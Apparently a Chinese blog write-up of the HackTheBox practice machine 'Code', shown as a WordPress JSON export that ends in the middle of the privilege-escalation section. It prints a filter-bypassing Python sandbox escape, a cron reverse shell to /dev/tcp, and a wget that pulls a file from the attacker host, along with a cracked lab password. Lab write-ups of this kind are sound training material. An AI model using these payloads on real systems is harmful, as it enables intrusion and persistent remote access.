{"id":241,"date":"2025-03-23T18:26:36","date_gmt":"2025-03-23T10:26:36","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=241"},"modified":"2026-01-29T16:16:16","modified_gmt":"2026-01-29T08:16:16","slug":"241","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2025\/03\/23\/241\/","title":{"rendered":"HTB\u9776\u673a Code \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code><strong>10.10.11.62<\/strong><\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.10.11.62 (10.10.11.62) 56(84) bytes of data.\n64 bytes from 10.10.11.62: icmp_seq=1 ttl=63 time=831 ms\n64 bytes from 10.10.11.62: icmp_seq=2 ttl=63 time=661 ms\n64 bytes from 10.10.11.62: icmp_seq=3 ttl=63 time=284 ms\n64 bytes from 10.10.11.62: icmp_seq=4 ttl=63 time=285 ms\n\n--- 10.10.11.62 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3001ms\nrtt min\/avg\/max\/mdev = 283.838\/515.127\/831.080\/238.587 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7684\u7f51\u7edc\u8fde\u63a5\u72b6\u6001\u6b63\u5e38\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Mar 23 08:01:30 2025 as: \/usr\/lib\/nmap\/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.10.11.62\nNmap scan report for code.htb (10.10.11.62)\nHost is up (0.29s latency).\nAll 65535 scanned ports on code.htb (10.10.11.62) are in ignored states.\nNot shown: 65535 open|filtered tcp ports (no-response)\n\n# Nmap done at Sun Mar 23 08:02:16 2025 -- 1 IP address (1 host up) scanned in 45.68 seconds<\/code><\/pre>\n<p>\u65e0\u6cd5\u786e\u5b9a\u9776\u673a\u9632\u706b\u5899\u72b6\u6001\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code><strong>TCP<\/strong><\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Mar 23 08:04:47 2025 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.10.11.62\nWarning: 10.10.11.62 giving up on port because retransmission cap hit (10).\nNmap scan report for code.htb (10.10.11.62)\nHost is up (0.26s latency).\nNot shown: 33602 filtered tcp ports (no-response), 31931 closed tcp ports (conn-refused)\nPORT     STATE SERVICE VERSION\n22\/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)\n|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)\n|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)\n5000\/tcp open  http    Gunicorn 20.0.4\n|_http-server-header: gunicorn\/20.0.4\n|_http-title: Python Code Editor\nDevice type: general purpose\nRunning: Linux 5.X\nOS CPE: cpe:\/o:linux:linux_kernel:5\nOS details: Linux 5.0 - 5.14\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   282.03 ms 10.10.14.1\n2   282.21 ms code.htb (10.10.11.62)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Mar 23 08:07:30 2025 -- 1 IP address (1 host up) scanned in 163.30 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Mar 23 08:08:52 2025 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.10.11.62\nWarning: 10.10.11.62 giving up on port because retransmission cap hit (10).\nNmap scan report for code.htb (10.10.11.62)\nHost is up (0.30s latency).\nAll 65535 scanned ports on code.htb (10.10.11.62) are in ignored states.\nNot shown: 65289 open|filtered udp ports (no-response), 246 closed udp ports (port-unreach)\n\n# Nmap done at Sun Mar 23 08:12:55 2025 -- 1 IP address (1 host up) scanned in 242.48 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Ubuntu Linux<\/code>\uff0c\u5728<code>5000\/tcp<\/code>\u7aef\u53e3\u90e8\u7f72\u4e86<code>Python Web<\/code>\u670d\u52a1\u3002\u6839\u636e<code>HackTheBox<\/code>\u89c4\u5219\uff0c\u9776\u673a\u57df\u540d\u4e3a<code>code.htb<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u7aef\u53e3<code>Banner<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/code]\n\u2514\u2500# nc -nv 10.10.11.62 22 \n(UNKNOWN) [10.10.11.62] 22 (ssh) open\nSSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12<\/code><\/pre>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff085000\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/code.htb:5000\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1742705978392-819d0dcc-41c3-4b32-be8a-9dceeed5eddd.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u7f51\u9875\u90e8\u7f72\u4e86\u4e00\u4e2a\u5728\u7ebf<code>Python<\/code>\u4ee3\u7801\u8fd0\u884c\u7cfb\u7edf\u3002\u5c1d\u8bd5\u8fd0\u884c<code>os.system()<\/code>\u65b9\u6cd5\uff0c\u53d1\u73b0\u4e00\u4e9b\u5371\u9669\u5b57\u7b26\u88ab\u63a2\u6d4b\u4e86\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1742706259540-689601ca-129b-4c4e-9528-816c1a9e5406.png\" alt=\"\" \/><\/p>\n<p>\u901a\u8fc7\u5c1d\u8bd5\uff0c\u53d1\u73b0\u7a0b\u5e8f\u8fc7\u6ee4\u4e86\u5927\u91cf<code>Python<\/code>\u7c7b\u5e93\u7684\u540d\u79f0\u548c\u5173\u952e\u5b57\uff0c\u5305\u62ec\u4f46\u4e0d\u9650\u4e8e<code>popen<\/code>\u3001<code>eval<\/code>\u3001<code>os<\/code>\u3001<code>import<\/code>\u3001<code>subprocess<\/code>\u548c<code>system<\/code>\u7b49\u7b49\u3002<\/p>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<p>\u5728\u5bf9\u9776\u673a\u5728\u7ebf<code>Python<\/code>\u4ee3\u7801\u8fd0\u884c\u5668\u7684\u670d\u52a1\u63a2\u6d4b\u8fc7\u7a0b\u4e2d\uff0c\u53d1\u73b0\u8be5<code>Web<\/code>\u4ee3\u7801\u8fd0\u884c\u5668\u8fc7\u6ee4\u4e86\u5927\u91cf<code>Python<\/code>\u7c7b\u5e93\u3001\u51fd\u6570\u540d\u79f0\u548c\u5173\u952e\u5b57\u3002\u5bf9\u4e8e\u8fd9\u79cd\u60c5\u51b5\uff0c\u53ea\u80fd\u901a\u8fc7\u83b7\u53d6<code>Python<\/code>\u6240\u6709\u5bf9\u8c61\u7684\u57fa\u7c7b\uff0c\u968f\u540e\u4f7f\u7528<code>__subclasses__()<\/code>\u65b9\u6cd5\u8bbf\u95ee\u5305\u542b<code>os<\/code>\u7c7b\u5e93\u7684\u5371\u9669\u7c7b\uff0c\u5e76\u901a\u8fc7\u5b57\u7b26\u4e32\u5217\u8868\u7d22\u5f15\u7684\u65b9\u5f0f\u8c03\u7528<code>Python<\/code>\u7684\u547d\u4ee4\u6267\u884c\u51fd\u6570\u3002\u901a\u5e38\uff0c\u6211\u4eec\u4f7f\u7528\u5982\u4e0b<code>Python<\/code>\u4ee3\u7801\u83b7\u53d6<code>Python<\/code>\u73af\u5883\u4e2d\u52a0\u8f7d\u7684\u6240\u6709\u7c7b\u5e93\uff1a<\/p>\n<pre><code class=\"language-python\">print([].__class__.__base__.__subclasses__())<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1742707546923-7b615619-9f3c-4630-b5c2-13e6237a325d.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u83b7\u53d6\u52a0\u8f7d\u7c7b\u5217\u8868\uff01\u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u9700\u8981\u7f16\u5199\u811a\u672c\uff0c\u5c06\u6bcf\u4e00\u4e2a\u7c7b\u7684\u540d\u79f0\u4e0b\u8f7d\u5e76\u4fdd\u5b58\u5230\u6570\u7ec4\u4e2d\uff0c\u7136\u540e\u5bfb\u627e\u5305\u542b<code>os<\/code>\u5e93\u7684\u7c7b\u5e93\u3002\u4e00\u822c\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u53ef\u4ee5\u5229\u7528<code>warnings.catch_warnings<\/code>\u7c7b\u6267\u884c<code>os.popen<\/code>\u51fd\u6570\u3002\u8be5\u7c7b\u5e93\u8c03\u7528\u4e86<code>os<\/code>\u7c7b\u5e93\u3002<\/p>\n<p>\u9996\u5148\u786e\u5b9a<code>HTTP<\/code>\u8bf7\u6c42\u5305\u7684\u5185\u5bb9\uff0c\u4f7f\u7528<code>BurpSuite<\/code>\u62e6\u622a\u8be5\u7f51\u7edc\u8bf7\u6c42\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1742707835661-53c598df-ba02-4b15-8bc3-f013bfd29b66.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u63a5\u6536\u5e76\u6267\u884c<code>Python<\/code>\u4ee3\u7801\u7684\u7aef\u70b9\u4e3a<code>\/run_code<\/code>\uff0c\u4f20\u9012\u4ee3\u7801\u7684<code>HTTP POST<\/code>\u53c2\u6570\u4e3a<code>code<\/code>\u3002<\/p>\n<p>\u76f4\u63a5\u7f16\u5199\u5982\u4e0b<code>Python<\/code>\u811a\u672c\uff1a<\/p>\n<pre><code class=\"language-python\">#!\/usr\/bin\/python3\nimport json\nimport requests\n\nurl = \"http:\/\/code.htb:5000\/run_code\"\nheader = {\n    \"Host\": \"code.htb:5000\",\n    \"User-Agent\": \"Mozilla\/5.0 (X11; Linux x86_64; rv:128.0) Gecko\/20100101 Firefox\/128.0\",\n    \"Accept\": \"*\/*\",\n    \"Accept-Language\": \"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\",\n    \"Accept-Encoding\": \"gzip, deflate, br\",\n    \"Content-Type\": \"application\/x-www-form-urlencoded; charset=UTF-8\",\n    \"X-Requested-With\": \"XMLHttpRequest\",\n    \"Origin\": \"http:\/\/code.htb:5000\",\n    \"Connection\": \"keep-alive\",\n    \"Referer\": \"http:\/\/code.htb:5000\/\",\n    \"Priority\": \"u=0\"\n}\ndata = {\"code\": \"print([].__class__.__base__.__subclasses__())\"}\n\nclasslist = json.loads(requests.post(url=url, headers=header, data=data).text)[\"output\"].strip(\"n]\").strip(\"[\").split(\", \")\nfor i in range(0, len(classlist)):\n    classlist[i] = classlist[i].strip(\"&lt;class '\").strip(\"'&gt;\")\nfor i in range(0, len(classlist)):\n    if \"warnings.catch_warnings\" in classlist[i]:\n        print(\"[+] Found class: %s, Index = %d\" %(classlist[i], i))\n<\/code><\/pre>\n<p>\u8be5\u811a\u672c\u5411\u9776\u673a\u5728\u7ebf\u4ee3\u7801\u8fd0\u884c\u5668\u63d0\u4ea4\u83b7\u53d6<code>Python<\/code>\u73af\u5883\u4e2d\u6240\u6709\u7c7b\u5e93\u7684\u4ee3\u7801\uff0c\u5e76\u6839\u636e\u9017\u53f7\u5c06\u54cd\u5e94\u5185\u5bb9\u5206\u5272\u4e3a\u6570\u7ec4\uff0c\u968f\u540e\u4f7f\u7528<code>strip()<\/code>\u65b9\u6cd5\u5c06\u591a\u4f59\u7684\u5b57\u7b26\u5220\u9664\uff0c\u6700\u540e\u5728\u6570\u7ec4\u5185\u67e5\u627e<code>warnings.catch_warnings<\/code>\u5b57\u7b26\u4e32\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1742708152385-cab414f0-835e-4467-b72c-ec84da4829d0.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0<code>warnings.catch_warnings<\/code>\u7c7b\u5e93\u5728\u9776\u673a<code>Python<\/code>\u57fa\u7c7b<code>__subclasses__()<\/code>\u65b9\u6cd5\u8fd4\u56de\u6570\u7ec4\u4e2d\u7684\u7d22\u5f15\uff1a<code>139<\/code>\uff01<\/p>\n<p>\u76f4\u63a5\u6267\u884c\u5982\u4e0b\u4ee3\u7801\uff0c\u52a0\u8f7d<code>os.popen<\/code>\u51fd\u6570\uff0c\u8fd0\u884c<code>id<\/code>\u547d\u4ee4\u3002\u5bf9\u4e8e\u88ab\u8fc7\u6ee4\u7684\u5173\u952e\u5b57\u548c\u51fd\u6570\u540d\uff0c\u53ef\u4ee5\u4f7f\u7528<code>+<\/code>\u53f7\u62fc\u63a5\u5b57\u7b26\u4e32\u8fdb\u884c\u7ed5\u8fc7\uff1a<\/p>\n<pre><code class=\"language-python\">print([].__class__.__base__.__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__(\"o'+'s\").po'+'pen(\"id\").rea'+'d()'))<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1742708658257-93cc65c9-eee7-40bd-9cdb-03ad694b4198.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u6267\u884c<code>id<\/code>\u547d\u4ee4\uff01\u63a5\u4e0b\u6765\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u6dfb\u52a0<code>Linux<\/code>\u8ba1\u5212\u4efb\u52a1\u540e\u95e8\u7684\u65b9\u5f0f\u6765\u63a5\u6536\u53cd\u5f39<code>Shell<\/code>\u3002\u9996\u5148\u5728\u672c\u5730\u7f16\u5199\u6076\u610f\u8ba1\u5212\u4efb\u52a1\u914d\u7f6e\u6587\u4ef6<code>revshell_cron.txt<\/code>\uff1a<\/p>\n<pre><code class=\"language-plain\">*\/1 * * * * \/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.13\/443 0&gt;&amp;1'<\/code><\/pre>\n<p>\u968f\u540e\u5728\u672c\u5730\u542f\u52a8<code>SimpleHTTPServer<\/code>\u548c<code>NetCat<\/code>\u76d1\u542c\uff0c\u4f7f\u7528\u5728\u7ebf\u4ee3\u7801\u8fd0\u884c\u5668\u6267\u884c<code>wget<\/code>\u547d\u4ee4\u4e0b\u8f7d\u6076\u610f\u914d\u7f6e\u6587\u4ef6\uff0c\u5e76\u901a\u8fc7<code>crontab<\/code>\u7cfb\u7edf\u547d\u4ee4\u6dfb\u52a0\u8ba1\u5212\u4efb\u52a1\uff1a<\/p>\n<pre><code class=\"language-python\">[].__class__.__base__.__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__(\"o'+'s\").po'+'pen(\"wget http:\/\/10.10.14.13\/revshell_cron.txt -O \/tmp\/revshell_cron.txt\").rea'+'d()')\n[].__class__.__base__.__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__(\"o'+'s\").po'+'pen(\"cat \/tmp\/revshell_cron.txt | crontab\").rea'+'d()')\nprint([].__class__.__base__.__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__(\"o'+'s\").po'+'pen(\"crontab -l\").rea'+'d()'))<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1742709205538-721ee7d0-56f8-4fe8-b63c-8cff7c718b7c.png\" alt=\"\" \/><\/p>\n<p><strong>\u6dfb\u52a0\u6210\u529f\uff01\uff01<\/strong><\/p>\n<p>\u7b49\u5f85\u4e00\u5206\u949f\u540e\uff0c\u63a5\u6536\u5230\u53cd\u5f39<code>Shell<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1742709341945-c7531efc-a245-4f7e-963d-bbdb1f6f0d88.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u79fb\u52a8\u81f3martin\u7528\u6237<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u540e\uff0c\u6267\u884c\u76ee\u5f55\u4fe1\u606f\u6536\u96c6\u3002\u5728<code>\/home\/app-production\/app\/instance<\/code>\u76ee\u5f55\u4e0b\u53d1\u73b0<code>SQLite<\/code>\u6570\u636e\u5e93\u6587\u4ef6<code>database.db<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1742722097560-04cab5c9-018c-4c82-ba84-a1892b78d887.png\" alt=\"\" \/><\/p>\n<p>\u540c\u65f6\u67e5\u770b<code>Python Web<\/code>\u5e94\u7528\u7a0b\u5e8f\u4ee3\u7801\uff1a<code>\/home\/app-production\/app\/app.py<\/code>\uff1a<\/p>\n<pre><code class=\"language-python\">from flask import Flask, render_template,render_template_string, request, jsonify, redirect, url_for, session, flash\nfrom flask_sqlalchemy import SQLAlchemy\nimport sys\nimport io\nimport os\nimport hashlib\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = \"7j4D5htxLHUiffsjLXB1z9GaZ5\"\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:\/\/\/database.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\n\nclass User(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    username = db.Column(db.String(80), unique=True, nullable=False)\n    password = db.Column(db.String(80), nullable=False)\n    codes = db.relationship('Code', backref='user', lazy=True)\n\nclass Code(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)\n    code = db.Column(db.Text, nullable=False)\n    name = db.Column(db.String(100), nullable=False)\n\n    def __init__(self, user_id, code, name):\n        self.user_id = user_id\n        self.code = code\n        self.name = name\n\n@app.route('\/')\ndef index():\n    code_id = request.args.get('code_id')\n    return render_template('index.html', code_id=code_id)\n\n@app.route('\/register', methods=['GET', 'POST'])\ndef register():\n    if request.method == 'POST':\n        username = request.form['username']\n        password = hashlib.md5(request.form['password'].encode()).hexdigest()\n        existing_user = User.query.filter_by(username=username).first()\n        if existing_user:\n            flash('User already exists. Please choose a different username.')\n        else:\n            new_user = User(username=username, password=password)\n            db.session.add(new_user)\n            db.session.commit()\n            flash('Registration successful! You can now log in.')\n            return redirect(url_for('login'))\n\n    return render_template('register.html')\n\n@app.route('\/login', methods=['GET', 'POST'])\ndef login():\n    if request.method == 'POST':\n        username = request.form['username']\n        password = hashlib.md5(request.form['password'].encode()).hexdigest()\n        user = User.query.filter_by(username=username, password=password).first()\n        if user:\n            session['user_id'] = user.id\n            flash('Login successful!')\n            return redirect(url_for('index'))\n        else:\n            flash('Invalid credentials. Please try again.')\n    return render_template('login.html')\n\n@app.route('\/logout')\ndef logout():\n    session.pop('user_id', None)\n    flash('You have been logged out.')\n    return redirect(url_for('index'))\n\n@app.route('\/run_code', methods=['POST'])\ndef  run_code():\n    code = request.form['code']\n    old_stdout = sys.stdout\n    redirected_output = sys.stdout = io.StringIO()\n    try:\n        for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'subprocess', '__import__', '__builtins__']:\n            if keyword in code.lower():\n                return jsonify({'output': 'Use of restricted keywords is not allowed.'})\n        exec(code)\n        output = redirected_output.getvalue()\n    except Exception as e:\n        output = str(e)\n    finally:\n        sys.stdout = old_stdout\n    return jsonify({'output': output})\n\n@app.route('\/load_code\/&lt;int:code_id&gt;')\ndef load_code(code_id):\n    if 'user_id' not in session:\n        flash('You must be logged in to view your codes.')\n        return redirect(url_for('login'))\n    code = Code.query.get_or_404(code_id)\n    if code.user_id != session['user_id']:\n        flash('You do not have permission to view this code.')\n        return redirect(url_for('codes'))\n    return jsonify({'code': code.code})\n\n@app.route('\/save_code', methods=['POST'])\ndef save_code():\n    if 'user_id' not in session:\n        return jsonify({'message': 'You must be logged in to save code.'}), 401\n    user_id = session['user_id']\n    code = request.form.get('code')\n    name = request.form.get('name')\n    if not code or not name:\n        return jsonify({'message': 'Code and name are required.'}), 400\n    new_code = Code(user_id=user_id, code=code, name=name)\n    db.session.add(new_code)\n    db.session.commit()\n    return jsonify({'message': 'Code saved successfully!'})\n\n@app.route('\/codes', methods=['GET', 'POST'])\ndef codes():\n\n    if 'user_id' not in session:\n        flash('You must be logged in to view your codes.')\n        return redirect(url_for('login'))\n\n    user_id = session['user_id']\n    codes = Code.query.filter_by(user_id=user_id).all()\n\n    if request.method == 'POST':\n        code_id = request.form.get('code_id')\n        code = Code.query.get(code_id)\n        if code and code.user_id == user_id:\n            db.session.delete(code)\n            db.session.commit()\n            flash('Code deleted successfully!')\n        else:\n            flash('Code not found or you do not have permission to delete it.')\n        return redirect(url_for('codes'))     \n    return render_template('codes.html',codes=codes)\n\n@app.route('\/about')\ndef about():\n    return render_template('about.html')\n\nif __name__ == '__main__':\n    if not os.path.exists('database.db'):\n        with app.app_context():\n            db.create_all()\n    app.run(host='0.0.0.0', port=5000)<\/code><\/pre>\n<p>\u53d1\u73b0\u7528\u6237\u5bc6\u7801\u4f7f\u7528\u7684\u54c8\u5e0c\u6458\u8981\u7b97\u6cd5\u4e3a<code>MD5<\/code>\u3002\u76f4\u63a5\u5c06<code>database.db<\/code>\u6587\u4ef6\u901a\u8fc7<code>scp<\/code>\u5de5\u5177\u4f20\u8f93\u5230\u653b\u51fb\u673a\u4e0a\uff0c\u4f7f\u7528<code>sqlitebrowser<\/code>\u5de5\u5177\u6253\u5f00<code>user<\/code>\u8868\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1742722389359-2574824f-7a8b-4206-b75d-098e007c98ec.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0<code>martin<\/code>\u7528\u6237\u7684\u54c8\u5e0c\u503c\u4e3a<code>3de6f30c4a09c27fc71932bfc68474be<\/code>\uff0c\u4f7f\u7528<code>hashcat<\/code>\u7834\u89e3\uff1a<\/p>\n<pre><code class=\"language-powershell\">.hashcat.exe -m 0 -a 0 \"3de6f30c4a09c27fc71932bfc68474be\" .rockyou.txt --force<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1742722459822-d5d6b666-ab67-48af-9159-01b9b13b1fd0.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u5982\u4e0b\u7528\u6237\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>martin<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>nafeelswordsmaster<\/code><\/li>\n<\/ul>\n<p>\u76f4\u63a5\u767b\u5f55<code>SSH<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1742722616057-7c5192ff-d0ea-472d-a389-28c010d98c22.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\uff01<\/p>\n<h2>Sudo Backy\u5de5\u5177\u5907\u4efdroot\u76ee\u5f55<\/h2>\n<p>\u767b\u5f55<code>martin<\/code>\u7528\u6237\u540e\uff0c\u6267\u884c<code>sudo -l<\/code>\u547d\u4ee4\u67e5\u770b\u5f53\u524d\u7528\u6237<code>sudo<\/code>\u6743\u9650\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1742722848429-677bcbc0-e41e-40f8-b3ce-309542d2293e.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5f53\u524d\u7528\u6237\u53ef\u4ee5<code>root<\/code>\u7528\u6237\u6743\u9650\u514d\u5bc6\u8fd0\u884c<code>\/usr\/bin\/backy.sh<\/code>\u811a\u672c\u3002\u811a\u672c\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">#!\/bin\/bash\n\nif [[ $# -ne 1 ]]; then\n    \/usr\/bin\/echo \"Usage: $0 &lt;task.json&gt;\"\n    exit 1\nfi\n\njson_file=\"$1\"\n\nif [[ ! -f \"$json_file\" ]]; then\n    \/usr\/bin\/echo \"Error: File '$json_file' not found.\"\n    exit 1\nfi\n\nallowed_paths=(\"\/var\/\" \"\/home\/\")\n\nupdated_json=$(\/usr\/bin\/jq '.directories_to_archive |= map(gsub(\"\\.\\.\/\"; \"\"))' \"$json_file\")\n\n\/usr\/bin\/echo \"$updated_json\" &gt; \"$json_file\"\n\ndirectories_to_archive=$(\/usr\/bin\/echo \"$updated_json\" | \/usr\/bin\/jq -r '.directories_to_archive[]')\n\nis_allowed_path() {\n    local path=\"$1\"\n    for allowed_path in \"${allowed_paths[@]}\"; do\n        if [[ \"$path\" == $allowed_path* ]]; then\n            return 0\n        fi\n    done\n    return 1\n}\n\nfor dir in $directories_to_archive; do\n    if ! is_allowed_path \"$dir\"; then\n        \/usr\/bin\/echo \"Error: $dir is not allowed. Only directories under \/var\/ and \/home\/ are allowed.\"\n        exit 1\n    fi\ndone\n\n\/usr\/bin\/backy \"$json_file\"<\/code><\/pre>\n<p>\u53d1\u73b0\u811a\u672c\u63a5\u6536\u4e00\u4e2a\u6307\u5411<code>JSON<\/code>\u914d\u7f6e\u6587\u4ef6\u7684\u547d\u4ee4\u884c\u53c2\u6570\uff0c\u968f\u540e\u5b9a\u4e49<code>allowed_paths<\/code>\u6570\u7ec4\uff0c\u5185\u5bb9\u4e3a<code>\/var\/<\/code>\u548c<code>\/home\/<\/code>\uff0c\u63a5\u7740\u4f7f\u7528<code>jq<\/code>\u547d\u4ee4\u6253\u5f00<code>JSON<\/code>\u6587\u4ef6\uff0c\u5b9a\u4f4d\u5230<code>JSON<\/code>\u6570\u7ec4<code>directories_to_archive<\/code>\u5904\uff0c\u5c06\u8be5\u5b50\u6570\u7ec4\u5185\u5b57\u7b26\u4e32\u4e2d\u6240\u6709\u7684<code>..\/<\/code>\u5b57\u7b26\u4e32\u5220\u9664\u540e\u8fdb\u884c\u4fdd\u5b58\u5e76\u91cd\u65b0\u8bfb\u5165\u6570\u7ec4<code>directories_to_archive<\/code>\u3002\u5b8c\u6210\u4e0a\u8ff0\u64cd\u4f5c\u540e\uff0c\u811a\u672c\u901a\u8fc7<code>is_allowed_path()<\/code>\u51fd\u6570\uff0c\u5224\u65ad\u6570\u7ec4<code>directories_to_archive<\/code>\u5185\u7684\u8def\u5f84\u5b57\u7b26\u4e32\u5f00\u5934\u662f\u5426\u4e3a<code>\/var\/<\/code>\u6216<code>\/home\/<\/code>\uff0c\u5982\u6761\u4ef6\u7b26\u5408\uff0c\u5219\u8c03\u7528<code>\/usr\/bin\/backy<\/code>\uff0c\u4f20\u5165\u7ecf\u5904\u7406\u7684<code>JSON<\/code>\u914d\u7f6e\u6587\u4ef6\uff0c\u5426\u5219\u76f4\u63a5\u62a5\u9519\u9000\u51fa\u3002<\/p>\n<p>\u4e0b\u9762\u6765\u7814\u7a76<code>backy<\/code>\u7a0b\u5e8f\u3002\u6211\u4eec\u5c1d\u8bd5\u76f4\u63a5\u6267\u884c<code>backy<\/code>\u547d\u4ee4\uff0c\u67e5\u770b\u7a0b\u5e8f\u7684\u57fa\u672c\u4fe1\u606f\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1742723440176-656bb832-e76d-49cf-b519-1fee7c1f3102.png\" alt=\"\" 